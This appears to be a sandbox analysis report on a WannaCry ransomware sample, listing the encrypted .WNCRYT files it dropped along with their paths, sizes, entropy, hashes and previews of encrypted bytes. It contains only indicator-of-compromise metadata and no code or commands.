                                                                                                      SHA1:07D5203808E1B1166BD379C9516946803024201B
                                                                                                      SHA-256:AC87EDCF09C0F3E1AE42CE07B4CA1E951439C174953EF6AA4507C1607F78DD55
                                                                                                      SHA-512:84704138E76E5450BB234EA9FB3C3F1AB7CFF3DA426FA4AEA826832323F179EBFE4A685F0B3566FEF84B0C2DDFA66EE84291E0AFFC7DA3DDB980CB501716D8FE
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....b\.........>.p.....Z...%y{.K\Z.y.Q.pA..C.OK.>...#2..[.....Wqz...u_..8..?6)o>!.r..~6q.N1...ljP>..9.1..v\..d....?.M.........W3muK.M.R.eH.....U...r.}./.U..l.8.J..PU..$.B...\y..=."H{....[.j.#..C<..W..p...6TC..+...d.`...HPu..........].Y.~..2..#.P.|......@.....Y?..;............./.h..W.Y..:..?.sk(....).i.T..J.~.{...([c..J.t...u...(.W.R.I..4.~.#w.......;..FgF.@[.d/d...B.R.D.......J..y...q.i.xK.n}?.BD...=.9..^...}7B.V!..N........46.;QK.FAJ/.F.........h...V....L47...1_.3...aJ.v..evc~y.....V.Y....4.k..h)....l.&.m...f.@c.KR.$d.E+.-!...g...>.X..?.T.?%&...._......r.J....+..<.mv.X..F....X..5.....%..T.V......e.G..u.1.&/.K._...y.b.I*D>1...Z.M.Z...}!.=.a....L.V,V(.mz{.Xi&...8[..m..}F....."S.k.B...@....e..3;.........C.U..T[L..+..Z.r[....rNP.(..+.H.D...[..I.....t.OI.0-.0.,....>M&.h...!...t..Y. ..Z.NM...V..s.3uiv88...(G...rB..g....#JHe.s..s.c+...c...x..'Wr..j....+=;...i 7..Qu#...5.R...I.0.(~.~.....-..m3:%....HY.p...d..2.M......w.u.\.x..'.F_..]e.HB

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):58600
                                                                                                      Entropy (8bit):7.9971792848886185
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:1536:9evmSmYGW49+hToMYEgWk3D6dBJs1VYTnLhC7nE9ePpp:Mvmx7aHYLDABi887jPn
                                                                                                      MD5:EF7A7B823864E80F46EA5141A8762A21
                                                                                                      SHA1:EF7EEBF516491E2EB35D32DC7205AA239B74D321
                                                                                                      SHA-256:3F387FAEA39307960C3B714E265C17E7B1D4FC52D21071B4C783CC679D780ECD
                                                                                                      SHA-512:98AFC550BDD35C995F358364A66FA97CD254F52BD7E170B3ABC4C289DFC2D0A3F2E78E34077D4CFE63F633D0652EB015DCCB5A317B4A08042D0C2DF72B0FF14E
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......]..8"..^2..s..+...*.n{u...........W...g..t. ....U..c ..d.t-a..< ..~...Xi..Qk.b>..F"x......5..w.,..>...(.b\..........+.<FL-c.O..Q..kM.fG.....e.b.;p.........=G+.H...[e.....k.].q.&...jg.....T.....<#.~.fL|.....m.....B.dB.0!'.r...!..j.....................r#.j.<....-I...vQb...iv.}...*2V....Ac.D.Iy.CYw..N..J.~w..j!(q.3...7).3qyg.:\P....J..#./.f.....d.h.(}.....}?..V....0).#F?.~.......D.Q..P...s.0+T..CPn.....A.....{..8f.*JX.Z.......W..n..ny..q%s.8.>.. .c_\..PTS...\..R..._...O.F.X..$...=....p..A....r.iB...[.H..%....h.....2.C..^.wr..#/Rg{^.r.;.V!......j!...n.'.a..fM&y..^.....v@..[c....D...T.w.....l...<.r.N......;Y..e.#..F..{..JA...M....R...q......I.].K.*!..T.<......R.u.!.'.._|.U'o_.(3.|.e.).H@ek.&f...qK....{..@..X..N...V..."..`.y.3f......~.\...F......Q.^V...Y.....|M.H\.F.o."s..\....z.<...)..@T.K'U%C.....)........`F3QL;-.tJ_...Y.h....p.S...i.....1^..'(..h..+Mqgu#E-X*.u.O.q@...r[..U......!i..w....XCxXB....... .=...%W.F!..K...&.7..

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\33CUD2J1\ConvergedLogin_PCore_AI1nyU_u3YQ_at1fSBm4Uw2[1].js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):418488
                                                                                                      Entropy (8bit):7.999534286258581
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:12288:8HRbXISPzK7a53ekMFnGoLtERwnh/poGDC8MI:8HRb9zK7aZLjoLZh/yGDC8l
                                                                                                      MD5:F4B1D4351C0F54C73321D95DA5AF046E
                                                                                                      SHA1:0D4F933CBB55BA65DBE24C05A2F4B1368910BE21
                                                                                                      SHA-256:5ED9F73D2B43A21C4F2228466829A95FD47914B5CB0FDB23447A7C206DC59618
                                                                                                      SHA-512:25F010419805C47430C5064A60163862AE661D7F75EA3920C408530AF8825D9463644208443173FD588514A4D635915D09D6A8F3F998C872A509B3855CE80F5B
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....5Qp..[Z.....p*........?.z..Y{.....`.m..Qv....z!Z..R..=o.JrWP..!%....../.....|....y..F?".+.8#..u~}.*./...#s.....Z..A.h.3u.[...M.)..,fa|>^9=b.WP``..*..s.Jj].......pN0pq......".b...sF..`..U...}A.......~..g..mu..0..R.2U.zA.{L...@.PV.0.....|..w)...}......a......5.l.{...aJ..H>..c...F.....i.$.#..hzn.../4.w..4fN.Wt.)>..(.gd>.G.G..;.X:...W..P.ura}.R.RA@..G.coW.R{.N(....HcSx..sM..........?GD.J...._./.....\%.)@9E..../....ai....:.8.XU..I7*F..............w:2.e.S....v=:.R.....j./.....C{7...$....(...5-.c..qh.I}gc]...mI.2........*.S{vA.d..+.18mS*.{..,V..l.GK.MH...K;.H.z63...A....,!....{..J..z\.wx....3.r.C..I.G...TT.Ky*j..[..N...}XR.&...;5.:....w/.........nC@h.d..S....i.!x......iZ`_..Dr.b..bv.9....P.V..r..A.wJ.......M.1.x>..E.(.....&..mjdz...%.e>.q+..r....J...|2........E.}.....Z...cZ..F..gP......nv...l..=~.QW_.:n._..Yh.|g.h...0.^....G5...o.Lf<ExZ...T.c7L..YOR;I.Q.k..$.i.G..|..C...gLI...5.:.....}.$.7..:_..+......#g...4....e_S..~[j...,+.mI......G...$lq#.dC.`|

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\33CUD2J1\ConvergedLogin_PCore_tSc0Su-bb7Jt0QVuF6v9Cg2[1].js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):416088
                                                                                                      Entropy (8bit):7.999541274918822
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:12288:aHc/Z9uSef6dRrQ1YPv1mBjbTsiQyWYrWa5:ay98f6dJ3wPWYrWa5
                                                                                                      MD5:4B37D6CE205BF3D1B028BFC6D7F2ABCD
                                                                                                      SHA1:6B764D36790272F3E8AB4831A259A5EC7C47C8B0
                                                                                                      SHA-256:EBD698BA35684664280785005E523D8A8E024A142B38B2A612B77D73EA204FC9
                                                                                                      SHA-512:FB3FA639C265DF11838CB30794296A1DA4C968192E1E5A05DE8E9F0F8CB2B50CF55F0B018BD88480EB431955996A75352941F7684072EF42BB0ACFD77B24A51A
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......Up... M.O..VE..:x7..5..^.jh2.9.p.J.*.(.T........mm..CiHH{!..0>.RFJ..e.K9K%.o......\%...x<.....Y|.p."...m...(.T]y....t\..}G.......X...6Jxf.,......._W/FZ.-..c...J..h..P|..i.F.f.Eh...?.'..W......yj.s.........1.-.7F..`.t....`.g...I.#..z.'.X0..T.......2X......,....E."...P....d.....p8.3.Sq..'.4;...._w....Q...R...c&.$.....C!.^B....6Nw...4..g$........r....j.!..{...S.....f.<inh.f.5T.%ZR.4H..w.g..hax..F\......eC.B.g......M......#..~..)....X./.n.*<.%dHP2w_..@.5.9.9.1."....m.o.[.....?,m..A......uY..b$.s/.......?.'.@....:..4Wb..I....f.i9o.zc..)........RcaQ...d`.DS|4T).5.X+t.a.i.vd.Y.}.....Y..s^..Y.C...%.`.wF9.v...}...N~...1.U......-I6b--.cC..i!G.|.?v...7..3.....W7'!......h@.dj.N0 .......{@T.....<...q-V.d..F......t...m.,..@....;.(..\..)..L.).O..x....8.W.........W...9.r...>h~..p;^..Ln.n<..z.....u........t.m.$4..%.8E..*.$.`7Tk.......B.i^.=mA.&.Xs..5...u.K@..o...D...]I;M.&.#..Gw.c.BlSO7..xg4aZ...S.....P..I...N.=.{.xX`R..v....*R..M...C........p.

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\90SNK17T\oneDs_f2e0f4a029670f10d892[1].js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):190440
                                                                                                      Entropy (8bit):7.9989272307701595
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:3072:ggfJC0310Px3xEHcug2sykGL8S5JZ4UhupyIUzpQkOKAazfX6wF2FFfAMkgbbV7b:TCq10ZBug35GIM4VpFULtfX6w6FfAMVp
                                                                                                      MD5:CAC9C00F03D3E2AFBBBA6238D5D07D56
                                                                                                      SHA1:9DC7C2D063748279F0CB0570E3DB62F19AD3F0FC
                                                                                                      SHA-256:800567610C7FAC73FE8BB27277EA2F1EAF9C80FAC01059A5FDD0CEF6813F4477
                                                                                                      SHA-512:7F5FB460200945CCA92573C9A588FBAB3F87B398DA002FEF342B80A827D769129210FEBF556618B40E3ED48E815259344B713D7B45B28EF2CF37637C86583C9D
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......!d./,..D.d.....uP'..8..I.X>.Q#@I.a.|k..*8MVK...............(.F.9. .v...?2.O.6..#j....4,0 ..5..%X.m..Mf.?...Y.:.mo.."..S.El.v...O7.W..L.3i...#YS.U.`.R7i.&^...9. ..I." ]H..F...[.{...[.Q=...j..Q....wa.LW......o.yh&.7..a....5H.t:..ah..l....BI.................N./['....I.K...k..YJ.E..SM-^4(.BQni....N....;...../....f..y.Hs.l...2....R./I..m...m.B....Jm$.....A!.7.z(I.Vo"..TU..&.[7.I*zl>J..R.$.}........@.x.V..[6.K.i...Y.2..N....f.G_J.1...v.\..s.....G.|.C.j*....X..';...T..........L1.Z%.?..b<.,*.JB.W..|.`...[?..E..oAo[Q..iCZ.2.^L'....6.._.}....Z..~^._....8o.o..Xb..f.....J.;..@[w...>.t{.@......."XXS...BE[].v.V.K.-..O..,...f!^..H..Y<^...CY.....H.d.....p...Ck.P@R....h#..)`.5rg.J.0.i..2...2.C..?.q....d.....k..>.j.:o;P..".?m.!cFmi........z......U..s.`...{..xIa....z|..w....Z.kqY.."...z..L...F.t.......}....g3...[$...9..=D.n.V....d..K\Q}..<z..g.[..@c[...Dh.R..+..>'..@p..B.M.T.p{.......f..+m.%..s.....(.I...6[f.Y...cz..48s.....F<...j. .S..#1...N.

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1048856
                                                                                                      Entropy (8bit):7.99981120414946
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:auJG3efaETc7f2wLMkdyyp4Wc58nBewLUUnDi/pHfXyZLa:ausebA7uw1p5PonIZW
                                                                                                      MD5:47323E5523B3CD05BC24F0FFFAA9CB42
                                                                                                      SHA1:1DBE160072DC8D8F24C706EAD3B359BAEFBE2313
                                                                                                      SHA-256:1574232EE681C5A26697FB8862D7F1593B81A1861956965BA1CF2EA45C95E689
                                                                                                      SHA-512:F30CEED40208D369A21C9A2F335F68E6E505657470AE7B1D7C0B5FE66C2F854E40837265155843846BB0424DC5BE1B3D22FDAD9AFDEE5F97494456B1EC893483
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......W....y ...?.K.DwP=6:G.o...F..(|0.F...0..s.,..@... .Ay$.D...$.5_.....d.A.(...#..6;.Y...E......WQFi..fm;.<.L..bb?......?r..62......^..=y..NjJ8.k:s1).......:7Dp...#.......:.._:.......N.p.T.<...h...r..%.y..r....$.X.?;i-.)3...Z;..n......!.....9.\|.............Z..D........b....e.jx.....^......*.)..z.:pI..[=.M......M.e....T..S.u..s....9.....Q!^.....C.$Q$gq..m..BuU....7Qsi...CT6.!.`.....@...zy..F..r>..@J=4n...Q...A.7\WHW......<>..e.-.HN...?o.u.a.H'k.by..R"Nx5.=..x..CW.$K.3.......b_,+B.8.k..b.o..q.Tk.Q.|Cu......Z.bC...[y.U.|Cy.k...qW.(..k..@.V.....n..N.0P~....].,5/......EO2.0...u...j!.N.!dw..U4.:...O.'.z.u1.....cbD..........E..C.2ca.#..K.w..7$...B.$5.p.O........l...n.MP.@.........}H..A.C\...<.N.#...+.Y.....>.(.De..q.I...[.`.g..ps!_..!8,U.'yx..5`.........#..........+.d[..7y....H'.....e3..Y.(u.B.......Jr.H.}.A..y;...;A..>.\.G...Z X..S.2...F.\...W.net.$.BA..T*\z..r.....e..........T..O.. .1.-M..&(...?...0.....z.....o...7K.o?..?g......DI:

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\26310719480\squaretile.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2680
                                                                                                      Entropy (8bit):7.929310728506189
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkvgsTGAwft8FvdGHPG8sGeT1HjMYdAAyIlLXUqzofr7Z+LmrGauAs:ovgAGAwV8vdKQGWKPq0f/ILmqRAs
                                                                                                      MD5:4620EBD04E1AA587DBC94C48DC6633ED
                                                                                                      SHA1:0DB59B084FE71508F82264B503CED7355841A6AB
                                                                                                      SHA-256:7B1440C41C48B9D98C2D8D97BC66AEC65B05D8892279316FC13E25F054695553
                                                                                                      SHA-512:E837D28EBADE03DE0B309022B4AC88271987C3F85DDC8C299A47596E13E37EF0CCF578E6644F4CD4660C8BA3BBAA02FB9FD3A992AC424CB4F498084D8A1C7F40
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....e..N....~].....u"...?g.....S...B...37!.wv..0....d....rE..Jn.4z'..N.w..=2[l.7.!a..\J....y}......:..>f...xz.$../c..K.u...H...m..+I.zYJv5f.AP`.F=x.m.C.&.m..K/...a.....1.i...W.!..1...6@1.T.~..........!.RDA..hI.gf...""....`....Y.&&.ur-h#1........f....Y.........(.....F.m5..@...t.j..n.i....:...@...........-eJK..X.5>R.P...d.....Hr..`6....+O{.l....)eo.......Ap...O..4A?.n$..{.c/....a,3..J%..\...E.?O.i..X7K...$~!.M..)..d....B-..'....j.04....P.C...A./.a..u.e.....N.C.X...i...Fh........~.L,io...|.U.}...w,.c..>....0={.....hmZ.....E.wY....E..~..;....4~...mtU.*@9.....c>6....B....j..4eb.....[....$..\..!.......9V.....U.~..$.w...e_ymJ.ec{....g.'s....R...l.I..U^.B.....y.f.>....B..Z.M........y.1.4i....d.q..E..qsyc.vC....K....%a.@c......~.Zk.u.l......s..a..n.....+......o4..?&T.c....*.B.].=.~.';dg.4od...CD@.>.G({.Ao....nZ[Z.U.w...3...(.V...P.F...X.nn..G..>;.4UcWz.1ZF.'...M...f.C..(\.>...3.K.OK.%e6...T...T.B..h......]............J0+.Q..i^X....l2.>.R..

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\26310719480\tinytile.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1912
                                                                                                      Entropy (8bit):7.889949544081407
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkmFTR8SNzoymNocKhGG4PpI3cKwe6L+kgo3U:om3GygKcTPpI3DwlHk
                                                                                                      MD5:9151A67EF702BE98555B804D4FBA1C06
                                                                                                      SHA1:C58BA6EB70F977B4FF4009B02AC80D5EA2C4E6F3
                                                                                                      SHA-256:7768CBF8DE859FD500266CBE2F7D613390D55E1D4655FB42B416D3F1EA1EB214
                                                                                                      SHA-512:5B6CA11833E1963AAA3E70B53FA18A36496C6893B74D53EFD5C8BC0324336E99D5624ED0F72C21428898927E8B0622F842499825D22910056E5F3EE719FD8D41
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......8....i#g.|]..F@mA.=.4O.:/,%..1...Qh.K......&..Q<g.......W.Gv...j.......s9p.H...i...O...#F..}'..1..t.O.m.....)..#...=p..j.....!....e..!...R....p.%\>.8.F^7m... d....l..y......4V.t.dP.Z...<...4....tq.....P(f......[.R)=...x6WB5.~^Q.p..A......h2....[............e<.B.O...}........il...q....L.LR6....MF.F.Tx)B.Z.s..$..c=.04...Q...|...du3....#....+5.........c..."`T.Tz.....v..=.Xh..~.......@...w....d...m._..h[K.k .^..i]+...spDCD.y...%9.[...B...H.x.\G..K.?.;....i=v...@+.J..Z..xb.TR.KJ.(s...........I.aH%...-...^.....t..>...n..,."...)..Kg..S../...u...Z.....,....ntu......|{$....e#..WW...v).o.'..N..!.j...SpK....{+7.l#......dx...k.};...@.+@....@....]|^?Z.._...,.n....3..#....4..(..I....G..W...w.J..&._`.<W...>.3An...K...2]..w..y.t...JR..3...i$^..oW..T..3.Xs.O.....)=.r.C.m....|3.....cjD.....9..!F..[......$|eT.Z..u.=F...w.n.R....z.._.....c..Wv.L..[.|p.l'.I:......6.#....6...(.....V.MfW~.....u.lf.. ...Q..w.Nt...oh^r.....................

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\38975140460\squaretile.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2696
                                                                                                      Entropy (8bit):7.915956594346289
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkuPCO8qUXUnrDpOFE7XkEPJGLwidp2oX7wzX6iE7mdWOND3gv7M2GQ4bDfEUnS8:ouPCOVIUnvpOir3JGn797wzX657sxLgy
                                                                                                      MD5:FED1B79F89009D6F7A128AE8901C8045
                                                                                                      SHA1:1C677AD0B5230950626FE89AA129F43D55B9FD61
                                                                                                      SHA-256:3E12E0B683DCA633032FF7C75A3D52A0EDA8940C153F7F85237E4B2935F50790
                                                                                                      SHA-512:2DEE04EB159E38BBE707EED00D3C1E6379984CD4135D0F84D447C8218063B15A8F05394692609B38D254EEE187E648F6FBD0EA5C9D3299F8885DE2AE2189FC08
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........:....Yv>q.........[...7..s......;....|......g..t....p.x..^...5.M..)}..NK...`.VG....'.C.*...7.......id.Y..(....NP.......XP...|..{1$.....!8l.....8.f.A.....\G...W....t%...d[.....g:YF...w...&..+......e..{cu..@..N.......6.j......L.Tq..#.y....a................LB...9.t..5"*&S1.k.i..bK|.`.i...3u/Y.r8..*....g.YG ...........c.m...v....\...)..?..n...j..,.}m...[....*Y$.`.=..,.q.D.....$..7K..M..uw..7,...L..=...5%."....l[.!k..........a..0Z.|.Z..B.}..........k4.T....:.T.T.3..N.m.U.1.....K....u.'.B"5 .%..,..%5.},C.X..{.1..+...h.'}....({...,..C...-...T..7...`....u..Q..x%.l....6....c.G...i....s.......B..."~...T.Jq[........B.9.y....:)...#.....d...v>n:.qs.(.s...`.TdL....>.......6]..zw..>)fLnAY..'..H^..]..|6.BR.`h...i....:.<..............D.&AA..6x../.T...#b"..:..M3._.4.....L..7.G.W..9..S9.#.z..D...8...X.<...F...+(.Q........{/.Y..|.......~.'.Xf.6.....-m6x)E.!.l.(....a*WF....$..E.oY..$q.8...P+'..... .?.1......u..^.K.|55.,.k/._.8.R...<j

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\38975140460\tinytile.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1864
                                                                                                      Entropy (8bit):7.901198710729141
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkE9FuvsWrf/ddIHS4cv0nTHdG8pHHIQ4hPupB:ooF+7/oHS1vWdlHHIxhy
                                                                                                      MD5:8754EA9CE20C68F398329152D545F71C
                                                                                                      SHA1:88F73E3BF7729FE400420E18B7BB5B0F1810FD60
                                                                                                      SHA-256:09DBBE673E58C1FEFE8E8EAA153899D979EFAA477661291D86643CD46E5E6355
                                                                                                      SHA-512:985BD845C5FA5F9292F75E3202B1936DF6F135557729634A2A365458F2F33725F6D778422F89E11A07C4534570C49F9D019D7F8AE9114EC3435495CC8539233F
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....#.c.).5.*J.g.....T...r..%..x.k:.....9......\.Ip6......../.9.....D....Y..Y....[......R.C.zH.G.T..3.0.3..EE...t.6>'....../.....J..l7..{.v.t ...a*.1.._..D....U%...g......l..:.#.cO.g...i.D7\.n..$.kN..7......-.E..E...4:.$..Fs..s.v'....>....v......).......Uu.iRBN...5d....D.. 0.Q...(9?........K4..Y4..%P..M*..'..H.~T3...<..A.bT..utu..j...L..8...@...m....RRA.9.U..zTy...........\...4O.g.M.d&baS.t..t...E.."..e.(.?...je...a...-.Suj....z."4~HT].["..V}..9..C....;'jg.k.`..).....Is.......onci.Z?:ah.U.{....^.1..l....:..,.b.F.G..C.z.......'B.m.2.H8I..pI./.)K.Z.7.F.....X.>)g./.R..Z.......S.u...4mY..^E9.J..S8.U...:.fN..G.,r-..=.P..%.I...O+.S....:...h|..0,<..A.......a..wT.U........w....E...#....;9[...e.p..UE......q...]..1...Z..U.vp/....J...l..a...g...L%.m./....{EaBtr..3.5. !.o..(.5......t...DQ..y..=...N{....,....;.e....;{...b.G..P.H....'3lf7.D..[.v...m..|r.m...E..o...^.|c..7].4.Z7..W...2.u%.t...@..0.!...^+&.Vgf...3.(..a8,.D...0.Z..9.y........fR

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\6501008900\squaretile.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1848
                                                                                                      Entropy (8bit):7.890861848011317
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkXdUwXD6Dj56g6FWGbiEfBogD6j4FNuNLy:oXdUY461FDgUFNu+
                                                                                                      MD5:8ED0C042232E4093E45E1DBFCDB1FC3F
                                                                                                      SHA1:080DEDFB7C77E3153CCD516B95E82177AD62FB86
                                                                                                      SHA-256:0D9047C1B6AE2B427AAB934943D01676ABE9DA5C308A9634F5065E02153894E4
                                                                                                      SHA-512:23F65990A27333D7FFC0E3C68375C6BCD7DC09DD429027393E10395688E181C9BBDF6CDF78B6A826002958A838BD2FE3854D91E71BEC92AB21C86AC5B2D83D59
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....J.&f.<..N.HG.{..!...\......Y..o....C..oc....g.........2}.7..Q3.Y.I.|.).Q...j...1:}m.+t...k.2...l.0w..:.HR.:L.U.H.$.oK(.,+...G.?.[...vJ....!...,.............G.SO.........S....z.......J.Tc+..MVK,f.u......4.k...5G.h......I-........)F...7.....s>.7.............? 6z..<...u.c]...7,6...Pvu{.....P...../.h..........C.#.....S..n"v.j....H`jQ{v..@1/....}...Z.*.9.v..*{..[....t..@...W..D.*...Q.t...../..zn......B..J.L........b...6.W...sy.+<.....1..n.C*.y=...Z.......'-.fn...5.Wf..n.....,Q...HD<.'...?.R/..<..w*7V<..r..*....%...b........gm O...xHA..C9..e.M2.`I`N:..J..Gv..6l#.}u:iu&..N...<...U9..)+..I[...J.......-2sx.x.0.uH..hz).a~z.rr..Jl1.iFB.....O(..>F$........5.'xw.VR....;.]..qT{q.X.*.z.H.o....e.-!.v..`....Nz.}..P_.k...../..!h...-r.f..c.v..r...Z.....x.....1.2.T....d9.?^.XA..wS...R._......5g....ER...m..my9R.....j.o...._mo.0... 2...;B.5u.K...:..'.C.m.I..dct....k.>:ts...+%l...b..;.b...a....k.Y... u.Rv.;...i.R.o%...W...j...vqf..CP[-...:G.[.N=

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\6501008900\tinytile.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1400
                                                                                                      Entropy (8bit):7.855357853321861
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk3JFc7PFsAYohGak7Es4BW8Oh8Lr6iNeO7PwV6USXnfAlWHg32H2ucyhcJMQAfn:bkZFKPivuk7EjBWcrB0O7YcUmfTHgc2U
                                                                                                      MD5:E8904E8630628E941D064BD273849443
                                                                                                      SHA1:E06592EE8F248F306451FC5D1FAD9C664B567531
                                                                                                      SHA-256:BA362500624A75772363EE7CCC45F3A7CE0EBD988B23862C02509ADE0641C09B
                                                                                                      SHA-512:469D53AE46D600FEBDBA4784D37D4C2584A10521AD5E6F38BC601ADB570A1E90C1C93078648299CE719432918AE0A597CFFA283F7BA2FBBA674081320C98F70A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!...../s.w...y.n..K...^.@.#.e_..(.|...G._.........w....\.IV...Vz...9/.Kt.W...'....H...._7hh...)..S.*j....P.[....._.....R..YX....a+...Y9..JtgBU..<.....>..3.{..y.....g*.[...7...s.KY.....a.Vt.....4..Xu..w..V.N{r...h.M.ph.. E%......N@.r[|.oQg._&....Y.......mv..T..g.kE..B.?..8..N......|G{o.,...w....7.H..1.'.q.,....?._..vY.0....p{.qR...&p<.sc.7.})x...B..YO)..2.F.,.BH3,...G:9.6......n.zuW_o../.a...... .RXm...h.5..i......l..P..Vco)..@..^l....{.P......r......m...B.A.^.{.y.W.1.14).....e..99.....d...f!J.k..+=M?.;.MX..5t+.....i....,x.^Tj....#f<...~e..<....hN.8...~.....<.*.U..7(.4....iw@...V/...|U.....A.;...>..`.o..S...\.3.*.V.........1Z.......\c...<..uia....f+.~.O.^..4..v....].......9E.`...#}... ..G.....O..N..|0?-.C.c......:..-...W..9`/j."R..}..N.^.e..9.`...2.{.......sTw.?=...a..#Z.a...Ce;..|Hc.`/V.<,9.G....7x....=t...2..Y.db..M(..D.o'Y.....N.fYu..o....A_[.]t....V.j.?`.X....B'$./.....m.[..| ..-.G.{....]..g.Z.....+.{]...............

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\7603651830\squaretile.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1736
                                                                                                      Entropy (8bit):7.8984454981932295
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkLRGq6qRkNd8EZ08qobTzOMZdpR4nicZVFaJNYGaI6kTpY1SDW/:oNb6l5G8ffjH/kXaDYGT6kTpYc6
                                                                                                      MD5:EE74906F6D2D6768A8085EB7CD6B5854
                                                                                                      SHA1:8ADA7F1C1339D91556DD0D162E5D7E9B6724F065
                                                                                                      SHA-256:A08658A88F9413F6A107895F9CA3B0EE590F8865619490919351482E6326EBE8
                                                                                                      SHA-512:D2FFD2C14DFC77171D3C8042C39F91C2294AA4C6166DA35EAD3539369CA7EF22B20167FEB8D4074445EDE3F9770CBC7A9CC65FA031D50883AC68930B0CB4CA90
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
